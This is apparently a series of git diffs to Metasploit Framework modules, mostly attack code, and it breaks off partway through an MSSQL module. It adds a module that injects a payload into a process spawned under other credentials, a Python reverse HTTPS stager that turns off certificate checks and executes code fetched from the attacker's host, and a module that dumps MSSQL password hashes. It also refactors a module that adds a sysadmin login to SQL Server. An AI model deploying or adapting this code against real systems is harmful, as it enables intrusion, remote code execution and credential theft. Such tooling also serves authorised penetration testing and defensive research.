command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
|
||||
if command.length > 8000
|
||||
# Windows 2008 Command Prompt Max Length is 8191
|
||||
fail_with(Failure::BadConfig, "#{peer} - The selected paylod is too long to execute through powershell in one command")
|
||||
fail_with(Failure::BadConfig, "#{peer} - The selected payload is too long to execute through powershell in one command")
|
||||
end
|
||||
print_status("#{peer} - Exploiting through Powershell...")
|
||||
execute_command(command)
|
||||
|
|
|
@ -232,7 +232,7 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
@addresses = disclose_addresses(my_target)
|
||||
if @addresses.nil?
|
||||
session.railgun.kernel32.CloseHandle(handle)
|
||||
fail_with(Failure::Unknown, "Filed to disclose necessary addresses for exploitation. Aborting.")
|
||||
fail_with(Failure::Unknown, "Failed to disclose necessary addresses for exploitation. Aborting.")
|
||||
else
|
||||
print_good("Addresses successfully disclosed.")
|
||||
end
|
||||
|
|
|
@ -15,8 +15,8 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
super(update_info(info,
|
||||
'Name' => 'Powershell Remoting Remote Command Execution',
|
||||
'Description' => %q{
|
||||
Uses Powershell Remoting (TCP 47001) to inject payloads on target machines.
|
||||
If RHOSTS are specified it will try to resolve the IPs to hostnames, otherwise
|
||||
This module uses Powershell Remoting (TCP 47001) to inject payloads on target machines.
|
||||
If RHOSTS are specified, it will try to resolve the IPs to hostnames, otherwise
|
||||
use a HOSTFILE to supply a list of known hostnames.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
|
|
|
@ -0,0 +1,126 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Local
|
||||
include Msf::Post::Windows::Runas
|
||||
include Msf::Post::Windows::Priv
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => "Windows Run Command As User",
|
||||
'Description' => %q{
|
||||
This module will login with the specified username/password and execute the
|
||||
supplied command as a hidden process. Output is not returned by default.
|
||||
Unless targetting a local user either set the DOMAIN, or specify a UPN user
|
||||
format (e.g. user@domain). This uses the CreateProcessWithLogonW WinAPI function.
|
||||
|
||||
A custom command line can be sent instead of uploading an executable.
|
||||
APPLICAITON_NAME and COMMAND_LINE are passed to lpApplicationName and lpCommandLine
|
||||
respectively. See the MSDN documentation for how these two values interact.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['win'],
|
||||
'SessionTypes' => ['meterpreter'],
|
||||
'Author' => ['Kx499', 'Ben Campbell'],
|
||||
'Targets' => [
|
||||
[ 'Automatic', { 'Arch' => [ ARCH_X86 ] } ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'https://msdn.microsoft.com/en-us/library/windows/desktop/ms682431' ]
|
||||
],
|
||||
'DisclosureDate' => 'Jan 01 1999' # Not valid but required by msftidy
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('DOMAIN', [false, 'Domain to login with' ]),
|
||||
OptString.new('USER', [true, 'Username to login with' ]),
|
||||
OptString.new('PASSWORD', [true, 'Password to login with' ]),
|
||||
OptString.new('APPLICATION_NAME', [false, 'Application to be executed (lpApplicationName)', nil ]),
|
||||
OptString.new('COMMAND_LINE', [false, 'Command line to execute (lpCommandLine)', nil ]),
|
||||
OptBool.new('USE_CUSTOM_COMMAND', [true, 'Specify custom APPLICATION_NAME and COMMAND_LINE', false ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def exploit
|
||||
fail_with(Exploit::Failure::BadConfig, 'Must be a meterpreter session') unless session.type == 'meterpreter'
|
||||
fail_with(Exploit::Failure::NoAccess, 'Cannot use this technique as SYSTEM') if is_system?
|
||||
domain = datastore['DOMAIN']
|
||||
user = datastore['USER']
|
||||
password = datastore['PASSWORD']
|
||||
|
||||
if datastore['USE_CUSTOM_COMMAND']
|
||||
application_name = datastore['APPLICATION_NAME']
|
||||
command_line = datastore['COMMAND_LINE']
|
||||
else
|
||||
command_line = nil
|
||||
windir = get_env('windir')
|
||||
|
||||
# Select path of executable to run depending the architecture
|
||||
case sysinfo['Architecture']
|
||||
when /x86/i
|
||||
application_name = "#{windir}\\System32\\notepad.exe"
|
||||
when /x64/i
|
||||
application_name = "#{windir}\\SysWOW64\\notepad.exe"
|
||||
end
|
||||
end
|
||||
|
||||
pi = create_process_with_logon(domain,
|
||||
user,
|
||||
password,
|
||||
application_name,
|
||||
command_line)
|
||||
|
||||
return unless pi
|
||||
|
||||
begin
|
||||
return if datastore['USE_CUSTOM_COMMAND']
|
||||
|
||||
vprint_status('Injecting payload into target process')
|
||||
raw = payload.encoded
|
||||
|
||||
process_handle = pi[:process_handle]
|
||||
|
||||
virtual_alloc = session.railgun.kernel32.VirtualAllocEx(process_handle,
|
||||
nil,
|
||||
raw.length,
|
||||
'MEM_COMMIT|MEM_RESERVE',
|
||||
'PAGE_EXECUTE_READWRITE')
|
||||
|
||||
address = virtual_alloc['return']
|
||||
fail_with(Exploit::Failure::Unknown, "Unable to allocate memory in target process: #{virtual_alloc['ErrorMessage']}") if address == 0
|
||||
|
||||
write_memory = session.railgun.kernel32.WriteProcessMemory(process_handle,
|
||||
address,
|
||||
raw,
|
||||
raw.length,
|
||||
4)
|
||||
|
||||
fail_with(Exploit::Failure::Unknown,
|
||||
"Unable to write memory in target process @ 0x#{address.to_s(16)}: #{write_memory['ErrorMessage']}") unless write_memory['return']
|
||||
|
||||
create_remote_thread = session.railgun.kernel32.CreateRemoteThread(process_handle,
|
||||
nil,
|
||||
0,
|
||||
address,
|
||||
nil,
|
||||
0,
|
||||
4)
|
||||
if create_remote_thread['return'] == 0
|
||||
print_error("Unable to create remote thread in target process: #{create_remote_thread['ErrorMessage']}")
|
||||
else
|
||||
print_good("Started thread in target process")
|
||||
end
|
||||
ensure
|
||||
session.railgun.kernel32.CloseHandle(pi[:process_handle])
|
||||
session.railgun.kernel32.CloseHandle(pi[:thread_handle])
|
||||
end
|
||||
end
|
||||
end
|
|
@ -98,7 +98,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {:remove_comspec => true, :encode_final_payload => true})
|
||||
if command.length > 8000
|
||||
# Windows 2008 Command Prompt Max Length is 8191
|
||||
fail_with(Failure::BadConfig, "#{peer} - The selected paylod is too long to execute through powershell in one command")
|
||||
fail_with(Failure::BadConfig, "#{peer} - The selected payload is too long to execute through powershell in one command")
|
||||
end
|
||||
print_status("#{peer} - Exploiting through Powershell...")
|
||||
exec_bar(datastore['CMDPATH'], command, "\x00")
|
||||
|
|
|
@ -8,6 +8,7 @@ require 'msf/core/handler/reverse_https'
|
|||
require 'msf/core/payload/windows/stageless_meterpreter'
|
||||
require 'msf/base/sessions/meterpreter_x86_win'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'rex/parser/x509_certificate'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
|
@ -15,6 +16,7 @@ module Metasploit3
|
|||
|
||||
include Msf::Payload::Windows::StagelessMeterpreter
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
include Msf::Payload::Windows::VerifySsl
|
||||
|
||||
def initialize(info = {})
|
||||
|
||||
|
@ -30,7 +32,7 @@ module Metasploit3
|
|||
))
|
||||
|
||||
register_options([
|
||||
OptString.new('EXTENSIONS', [false, "Comma-separate list of extensions to load"]),
|
||||
OptString.new('EXTENSIONS', [false, "Comma-separated list of extensions to load"]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
@ -54,9 +56,13 @@ module Metasploit3
|
|||
# end
|
||||
#end
|
||||
|
||||
Rex::Payloads::Meterpreter::Patch.patch_passive_service! dll,
|
||||
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
|
||||
datastore['HandlerSSLCert'])
|
||||
|
||||
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(dll,
|
||||
:url => url,
|
||||
:ssl => true,
|
||||
:ssl_cert_hash => verify_cert_hash,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:ua => datastore['MeterpreterUserAgent'],
|
||||
|
@ -64,8 +70,9 @@ module Metasploit3
|
|||
:proxyport => datastore['PROXYPORT'],
|
||||
:proxy_type => datastore['PROXY_TYPE'],
|
||||
:proxy_username => datastore['PROXY_USERNAME'],
|
||||
:proxy_password => datastore['PROXY_PASSWORD']
|
||||
end
|
||||
:proxy_password => datastore['PROXY_PASSWORD'])
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -0,0 +1,126 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_https'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 742
|
||||
|
||||
include Msf::Payload::Stager
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Python Reverse HTTPS Stager',
|
||||
'Description' => 'Tunnel communication over HTTP using SSL',
|
||||
'Author' => 'Spencer McIntyre',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'python',
|
||||
'Arch' => ARCH_PYTHON,
|
||||
'Handler' => Msf::Handler::ReverseHttps,
|
||||
'Stager' => {'Payload' => ""}
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('PayloadProxyHost', [false, "The proxy server's IP address"]),
|
||||
OptPort.new('PayloadProxyPort', [true, "The proxy port to connect to", 8080 ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
#
|
||||
# Constructs the payload
|
||||
#
|
||||
def generate
|
||||
lhost = datastore['LHOST'] || '127.127.127.127'
|
||||
|
||||
var_escape = lambda { |txt|
|
||||
txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\'))
|
||||
}
|
||||
|
||||
if Rex::Socket.is_ipv6?(lhost)
|
||||
target_url = "https://[#{lhost}]"
|
||||
else
|
||||
target_url = "https://#{lhost}"
|
||||
end
|
||||
|
||||
target_url << ':'
|
||||
target_url << datastore['LPORT'].to_s
|
||||
target_url << '/'
|
||||
target_url << generate_callback_uri
|
||||
|
||||
proxy_host = datastore['PayloadProxyHost'].to_s
|
||||
proxy_port = datastore['PayloadProxyPort'].to_i
|
||||
|
||||
if proxy_host == ''
|
||||
urllib_fromlist = "['HTTPSHandler','build_opener']"
|
||||
else
|
||||
urllib_fromlist = "['HTTPSHandler','ProxyHandler','build_opener']"
|
||||
end
|
||||
|
||||
cmd = "import sys\n"
|
||||
cmd << "vi=sys.version_info\n"
|
||||
cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[vi[0]],fromlist=#{urllib_fromlist})\n"
|
||||
cmd << "hs=[]\n"
|
||||
# Context added to HTTPSHandler in 2.7.9 and 3.4.3
|
||||
cmd << "if (vi[0]==2 and vi>=(2,7,9)) or vi>=(3,4,3):\n"
|
||||
cmd << "\timport ssl\n"
|
||||
cmd << "\tsc=ssl.SSLContext(ssl.PROTOCOL_SSLv23)\n"
|
||||
cmd << "\tsc.check_hostname=False\n"
|
||||
cmd << "\tsc.verify_mode=ssl.CERT_NONE\n"
|
||||
cmd << "\ths.append(ul.HTTPSHandler(0,sc))\n"
|
||||
|
||||
if proxy_host != ''
|
||||
proxy_url = Rex::Socket.is_ipv6?(proxy_host) ?
|
||||
"http://[#{proxy_host}]:#{proxy_port}" :
|
||||
"http://#{proxy_host}:#{proxy_port}"
|
||||
cmd << "hs.append(ul.ProxyHandler({'https':'#{var_escape.call(proxy_url)}'}))\n"
|
||||
end
|
||||
|
||||
cmd << "o=ul.build_opener(*hs)\n"
|
||||
cmd << "o.addheaders=[('User-Agent','#{var_escape.call(datastore['MeterpreterUserAgent'])}')]\n"
|
||||
cmd << "exec(o.open('#{target_url}').read())\n"
|
||||
|
||||
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
|
||||
b64_stub = "import base64,sys;exec(base64.b64decode("
|
||||
b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('"
|
||||
b64_stub << Rex::Text.encode_base64(cmd)
|
||||
b64_stub << "')))"
|
||||
return b64_stub
|
||||
end
|
||||
|
||||
#
|
||||
# Determine the maximum amount of space required for the features requested
|
||||
#
|
||||
def required_space
|
||||
# Start with our cached default generated size
|
||||
space = cached_size
|
||||
|
||||
# Add 100 bytes for the encoder to have some room
|
||||
space += 100
|
||||
|
||||
# Make room for the maximum possible URL length
|
||||
space += 256
|
||||
|
||||
# The final estimated size
|
||||
space
|
||||
end
|
||||
|
||||
#
|
||||
# Return the longest URL that fits into our available space
|
||||
#
|
||||
def generate_callback_uri
|
||||
uri_req_len = 30 + rand(256-30)
|
||||
|
||||
# Generate the short default URL if we don't have enough space
|
||||
if self.available_space.nil? || required_space > self.available_space
|
||||
uri_req_len = 5
|
||||
end
|
||||
|
||||
generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITP, uri_req_len)
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,180 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
require 'msf/core/auxiliary/report'
|
||||
require 'msf/core/post/windows/mssql'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Post::Windows::MSSQL
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Windows Gather Local SQL Server Hash Dump',
|
||||
'Description' => %q{ This module extracts the usernames and password
|
||||
hashes from a MSSQL server and stores them in the loot using the
|
||||
same technique in mssql_local_auth_bypass (Credits: Scott Sutherland)
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'Mike Manzotti <mike.manzotti[at]dionach.com>'],
|
||||
'Platform' => [ 'win' ],
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://www.dionach.com/blog/easily-grabbing-microsoft-sql-server-password-hashes']
|
||||
]
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('INSTANCE', [false, 'Name of target SQL Server instance', nil])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
# Set instance name (if specified)
|
||||
instance = datastore['INSTANCE'].to_s
|
||||
|
||||
# Display target
|
||||
print_status("Running module against #{sysinfo['Computer']}")
|
||||
|
||||
# Identify available native SQL client
|
||||
get_sql_client
|
||||
fail_with(Exploit::Failure::Unknown, 'Unable to identify a SQL client') unless @sql_client
|
||||
|
||||
# Get LocalSystem privileges
|
||||
system_status = get_system
|
||||
fail_with(Exploit::Failure::Unknown, 'Unable to get SYSTEM') unless system_status
|
||||
|
||||
begin
|
||||
service = check_for_sqlserver(instance)
|
||||
fail_with(Exploit::Failure::Unknown, 'Unable to identify MSSQL Service') unless service
|
||||
|
||||
print_status("Identified service '#{service[:display]}', PID: #{service[:pid]}")
|
||||
instance_name = service[:display].gsub('SQL Server (','').gsub(')','').lstrip.rstrip
|
||||
|
||||
begin
|
||||
get_sql_hash(instance_name)
|
||||
rescue RuntimeError
|
||||
# Attempt to impersonate sql server service account (for sql server 2012)
|
||||
if impersonate_sql_user(service)
|
||||
get_sql_hash(instance_name)
|
||||
end
|
||||
end
|
||||
ensure
|
||||
# return to original priv context
|
||||
session.sys.config.revert_to_self
|
||||
end
|
||||
end
|
||||
|
||||
def get_sql_version(instance_name)
|
||||
vprint_status("Attempting to get version...")
|
||||
|
||||
query = mssql_sql_info
|
||||
|
||||
get_version_result = run_sql(query, instance_name)
|
||||
|
||||
# Parse Data
|
||||
get_version_array = get_version_result.split("\n")
|
||||
version_year = get_version_array.first.strip.slice(/\d\d\d\d/)
|
||||
if version_year
|
||||
vprint_status("MSSQL version found: #{version_year}")
|
||||
return version_year
|
||||
else
|
||||
vprint_error("MSSQL version not found")
|
||||
end
|
||||
end
|
||||
|
||||
def get_sql_hash(instance_name)
|
||||
version_year = get_sql_version(instance_name)
|
||||
|
||||
case version_year
|
||||
when "2000"
|
||||
hash_type = "mssql"
|
||||
query = mssql_2k_password_hashes
|
||||
when "2005", "2008"
|
||||
hash_type = "mssql05"
|
||||
query = mssql_2k5_password_hashes
|
||||
when "2012", "2014"
|
||||
hash_type = "mssql12"
|
||||
query = mssql_2k5_password_hashes
|
||||
else
|
||||
fail_with(Exploit::Failure::Unknown, "Unable to determine MSSQL Version")
|
||||
end
|
||||
|
||||
print_status("Attempting to get password hashes...")
|
||||
|
||||
get_hash_result = run_sql(query, instance_name)
|
||||
|
||||
if get_hash_result.include?('0x')
|
||||
# Parse Data
|
||||
hash_array = get_hash_result.split("\r\n").grep(/0x/)
|
||||
|
||||
store_hashes(hash_array, hash_type)
|
||||
else
|
||||
fail_with(Exploit::Failure::Unknown, "Unable to retrieve hashes")
|
||||
end
|
||||
end
|
||||
|
||||
def store_hashes(hash_array, hash_type)
|
||||
# Save data
|
||||
loot_hashes = ""
|
||||
hash_array.each do |row|
|
||||
user, hash = row.strip.split
|
||||
|
||||
service_data = {
|
||||
address: rhost,
|
||||
port: rport,
|
||||
service_name: 'mssql',
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
# Initialize Metasploit::Credential::Core object
|
||||
credential_data = {
|
||||
post_reference_name: refname,
|
||||
origin_type: :session,
|
||||
private_type: :nonreplayable_hash,
|
||||
private_data: hash,
|
||||
username: user,
|
||||
session_id: session_db_id,
|
||||
jtr_format: hash_type,
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data.merge!(service_data)
|
||||
|
||||
# Create the Metasploit::Credential::Core object
|
||||
credential_core = create_credential(credential_data)
|
||||
|
||||
# Assemble the options hash for creating the Metasploit::Credential::Login object
|
||||
login_data = {
|
||||
core: credential_core,
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
}
|
||||
|
||||
# Merge in the service data and create our Login
|
||||
login_data.merge!(service_data)
|
||||
create_credential_login(login_data)
|
||||
|
||||
print_line("#{user}:#{hash}")
|
||||
|
||||
loot_hashes << "#{user}:#{hash}\n"
|
||||
end
|
||||
|
||||
unless loot_hashes.empty?
|
||||
# Store MSSQL password hash as loot
|
||||
loot_path = store_loot('mssql.hash', 'text/plain', session, loot_hashes, 'mssql_hashdump.txt', 'MSSQL Password Hash')
|
||||
print_good("MSSQL password hash saved in: #{loot_path}")
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -5,10 +5,12 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
|
||||
require 'msf/core/post/windows/mssql'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Post::Windows::MSSQL
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Windows Manage Local Microsoft SQL Server Authorization Bypass',
|
||||
|
@ -35,440 +37,114 @@ class Metasploit3 < Msf::Post
|
|||
[
|
||||
OptString.new('DB_USERNAME', [true, 'New sysadmin login', '']),
|
||||
OptString.new('DB_PASSWORD', [true, 'Password for new sysadmin login', '']),
|
||||
OptString.new('INSTANCE', [false, 'Name of target SQL Server instance', '']),
|
||||
OptBool.new('REMOVE_LOGIN', [false, 'Remove DB_USERNAME login from database', 'false'])
|
||||
OptString.new('INSTANCE', [false, 'Name of target SQL Server instance', nil]),
|
||||
OptBool.new('REMOVE_LOGIN', [true, 'Remove DB_USERNAME login from database', 'false'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
|
||||
# Set verbosity level
|
||||
verbose = datastore['VERBOSE'].to_s.downcase
|
||||
|
||||
# Set instance name (if specified)
|
||||
instance = datastore['INSTANCE'].to_s.upcase
|
||||
instance = datastore['INSTANCE'].to_s
|
||||
|
||||
# Display target
|
||||
print_status("Running module against #{sysinfo['Computer']}")
|
||||
|
||||
# Get LocalSystem privileges
|
||||
system_status = givemesystem
|
||||
if system_status[0]
|
||||
|
||||
# Check if a SQL Server service is running
|
||||
service_instance = check_for_sqlserver(instance)
|
||||
if service_instance != 0
|
||||
|
||||
# Identify available native SQL client
|
||||
sql_client = get_sql_client()
|
||||
if sql_client != 0
|
||||
get_sql_client
|
||||
fail_with(Exploit::Failure::Unknown, 'Unable to identify a SQL client') unless @sql_client
|
||||
|
||||
# Check if remove_login was selected
|
||||
if datastore['REMOVE_LOGIN'].to_s.downcase == "false"
|
||||
# Get LocalSystem privileges
|
||||
system_status = get_system
|
||||
fail_with(Exploit::Failure::Unknown, 'Unable to get SYSTEM') unless system_status
|
||||
begin
|
||||
service = check_for_sqlserver(instance)
|
||||
fail_with(Exploit::Failure::Unknown, 'Unable to identify MSSQL Service') unless service
|
||||
|
||||
# Add new login
|
||||
add_login_status = add_sql_login(sql_client,datastore['DB_USERNAME'],datastore['DB_PASSWORD'],instance,service_instance,verbose)
|
||||
if add_login_status == 1
|
||||
print_status("Identified service '#{service[:display]}', PID: #{service[:pid]}")
|
||||
instance_name = service[:display].gsub('SQL Server (','').gsub(')','').lstrip.rstrip
|
||||
|
||||
# Add login to sysadmin fixed server role
|
||||
add_sysadmin(sql_client,datastore['DB_USERNAME'],datastore['DB_PASSWORD'],instance,service_instance,verbose)
|
||||
if datastore['REMOVE_LOGIN']
|
||||
remove_login(service, instance_name)
|
||||
else
|
||||
|
||||
if add_login_status != "userexists" then
|
||||
|
||||
# Attempt to impersonate sql server service account (for sql server 2012)
|
||||
impersonate_status = impersonate_sql_user(service_instance,verbose)
|
||||
if impersonate_status == 1
|
||||
|
||||
# Add new login
|
||||
add_login_status = add_sql_login(sql_client,datastore['DB_USERNAME'],datastore['DB_PASSWORD'],instance,service_instance,verbose)
|
||||
if add_login_status == 1
|
||||
|
||||
# Add login to sysadmin fixed server role
|
||||
add_sysadmin(sql_client,datastore['DB_USERNAME'],datastore['DB_PASSWORD'],instance,service_instance,verbose)
|
||||
add_login(service, instance_name)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
else
|
||||
|
||||
# Remove login
|
||||
remove_status = remove_sql_login(sql_client,datastore['DB_USERNAME'],instance,service_instance,verbose)
|
||||
if remove_status == 0
|
||||
|
||||
# Attempt to impersonate sql server service account (for sql server 2012)
|
||||
impersonate_status = impersonate_sql_user(service_instance,verbose)
|
||||
if impersonate_status == 1
|
||||
|
||||
# Remove login
|
||||
remove_sql_login(sql_client,datastore['DB_USERNAME'],instance,service_instance,verbose)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
else
|
||||
print_error("Could not obtain LocalSystem privileges")
|
||||
end
|
||||
|
||||
# return to original priv context
|
||||
ensure
|
||||
# attempt to return to original priv context
|
||||
session.sys.config.revert_to_self
|
||||
end
|
||||
end
|
||||
|
||||
def add_login(service, instance_name)
|
||||
begin
|
||||
add_login_status = add_sql_login(datastore['DB_USERNAME'],
|
||||
datastore['DB_PASSWORD'],
|
||||
instance_name)
|
||||
|
||||
## ----------------------------------------------
|
||||
## Method to check if the SQL Server service is running
|
||||
## ----------------------------------------------
|
||||
def check_for_sqlserver(instance)
|
||||
unless add_login_status
|
||||
raise RuntimeError, "Retry"
|
||||
end
|
||||
rescue RuntimeError => e
|
||||
if e.message == "Retry"
|
||||
retry if impersonate_sql_user(service)
|
||||
else
|
||||
raise $!
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
print_status("Checking for SQL Server...")
|
||||
def remove_login(service, instance_name)
|
||||
begin
|
||||
remove_status = remove_sql_login(datastore['DB_USERNAME'], instance_name)
|
||||
|
||||
unless remove_status
|
||||
raise RuntimeError, "Retry"
|
||||
end
|
||||
rescue RuntimeError => e
|
||||
if e.message == "Retry"
|
||||
retry if impersonate_sql_user(service)
|
||||
else
|
||||
raise $!
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def add_sql_login(dbuser, dbpass, instance)
|
||||
print_status("Attempting to add new login \"#{dbuser}\"...")
|
||||
query = mssql_sa_escalation(username: dbuser, password: dbpass)
|
||||
|
||||
# Get Data
|
||||
running_services = run_cmd("net start")
|
||||
add_login_result = run_sql(query, instance)
|
||||
|
||||
# Parse Data
|
||||
services_array = running_services.split("\n")
|
||||
|
||||
# Check for the SQL Server service
|
||||
services_array.each do |service|
|
||||
if instance == "" then
|
||||
# Target default instance
|
||||
if service =~ /SQL Server \(| MSSQLSERVER/ then
|
||||
|
||||
# Display results
|
||||
service_instance = service.gsub(/SQL Server \(/, "").gsub(/\)/, "").lstrip.rstrip
|
||||
print_good("SQL Server instance found: #{service_instance}")
|
||||
return service_instance
|
||||
end
|
||||
else
|
||||
|
||||
# Target user defined instance
|
||||
if service =~ /#{instance}/ then
|
||||
|
||||
# Display user defined instance
|
||||
print_good("SQL Server instance found: #{instance}")
|
||||
return instance
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Fail
|
||||
if instance == "" then
|
||||
print_error("SQL Server instance NOT found")
|
||||
else
|
||||
print_error("SQL Server instance \"#{instance}\" was NOT found")
|
||||
end
|
||||
return 0
|
||||
end
|
||||
|
||||
|
||||
## ----------------------------------------------
|
||||
## Method for identifying which SQL client to use
|
||||
## ----------------------------------------------
|
||||
def get_sql_client
|
||||
|
||||
print_status("Checking for native client...")
|
||||
|
||||
# Get Data - osql
|
||||
running_services1 = run_cmd("osql -?")
|
||||
|
||||
# Parse Data - osql
|
||||
services_array1 = running_services1.split("\n")
|
||||
|
||||
# Check for osql
|
||||
if services_array1.join =~ /(SQL Server Command Line Tool)|(usage: osql)/
|
||||
print_good("OSQL client was found")
|
||||
return "osql"
|
||||
end
|
||||
|
||||
# Get Data - sqlcmd
|
||||
running_services = run_cmd("sqlcmd -?")
|
||||
|
||||
# Parse Data - sqlcmd
|
||||
services_array = running_services.split("\n")
|
||||
|
||||
# Check for SQLCMD
|
||||
services_array.each do |service|
|
||||
if service =~ /SQL Server Command Line Tool/ then
|
||||
print_good("SQLCMD client was found")
|
||||
return "sqlcmd"
|
||||
end
|
||||
end
|
||||
|
||||
# Fail
|
||||
print_error("No native SQL client was found")
|
||||
return 0
|
||||
end
|
||||
|
||||
## ----------------------------------------------
|
||||
## Method for adding a login
|
||||
## ----------------------------------------------
|
||||
def add_sql_login(sqlclient,dbuser,dbpass,instance,service_instance,verbose)
|
||||
|
||||
print_status("Attempting to add new login #{dbuser}...")
|
||||
|
||||
# Setup command format to accomidate version inconsistencies
|
||||
if instance == ""
|
||||
# Check default instance name
|
||||
if service_instance == "MSSQLSERVER" then
|
||||
print_status(" o MSSQL Service instance: #{service_instance}") if verbose == "true"
|
||||
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']} -Q \"sp_addlogin '#{dbuser}','#{dbpass}'\""
|
||||
else
|
||||
# User defined instance
|
||||
print_status(" o OTHER Service instance: #{service_instance}") if verbose == "true"
|
||||
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{service_instance} -Q \"sp_addlogin '#{dbuser}','#{dbpass}'\""
|
||||
end
|
||||
else
|
||||
# User defined instance
|
||||
print_status(" o defined instance: #{service_instance}") if verbose == "true"
|
||||
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{instance} -Q \"sp_addlogin '#{dbuser}','#{dbpass}'\""
|
||||
end
|
||||
|
||||
# Display debugging information
|
||||
print_status("Running command:") if verbose == "true"
|
||||
print_status("#{sqlcommand}") if verbose == "true"
|
||||
|
||||
# Get Data
|
||||
add_login_result = run_cmd("#{sqlcommand}")
|
||||
|
||||
# Parse Data
|
||||
add_login_array = add_login_result.split("\n")
|
||||
|
||||
# Check if user exists
|
||||
add_login_array.each do |service|
|
||||
|
||||
if service =~ /already exists/ then
|
||||
print_error("Unable to add login #{dbuser}, user already exists")
|
||||
return "userexists"
|
||||
end
|
||||
end
|
||||
|
||||
# check for success/fail
|
||||
if add_login_result.empty? or add_login_result =~ /New login created./
|
||||
case add_login_result
|
||||
when '', /new login created/i
|
||||
print_good("Successfully added login \"#{dbuser}\" with password \"#{dbpass}\"")
|
||||
return 1
|
||||
return true
|
||||
when /already exists/i
|
||||
fail_with(Exploit::Failure::BadConfig, "Unable to add login #{dbuser}, user already exists")
|
||||
when /password validation failed/i
|
||||
fail_with(Exploit::Failure::BadConfig, "Unable to add login #{dbuser}, password does not meet complexity requirements")
|
||||
else
|
||||
print_error("Unable to add login #{dbuser}")
|
||||
print_error("Database Error:\n #{add_login_result}")
|
||||
return 0
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
## ----------------------------------------------
|
||||
## Method for adding a login to sysadmin role
|
||||
## ----------------------------------------------
|
||||
def add_sysadmin(sqlclient,dbuser,dbpass,instance,service_instance,verbose)
|
||||
|
||||
print_status("Attempting to make #{dbuser} login a sysadmin...")
|
||||
|
||||
# Setup command format to accomidate command inconsistencies
|
||||
if instance == ""
|
||||
# Check default instance name
|
||||
if service_instance == "MSSQLSERVER" then
|
||||
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']} -Q \"sp_addsrvrolemember '#{dbuser}','sysadmin';if (select is_srvrolemember('sysadmin'))=1 begin select 'bingo' end \""
|
||||
else
|
||||
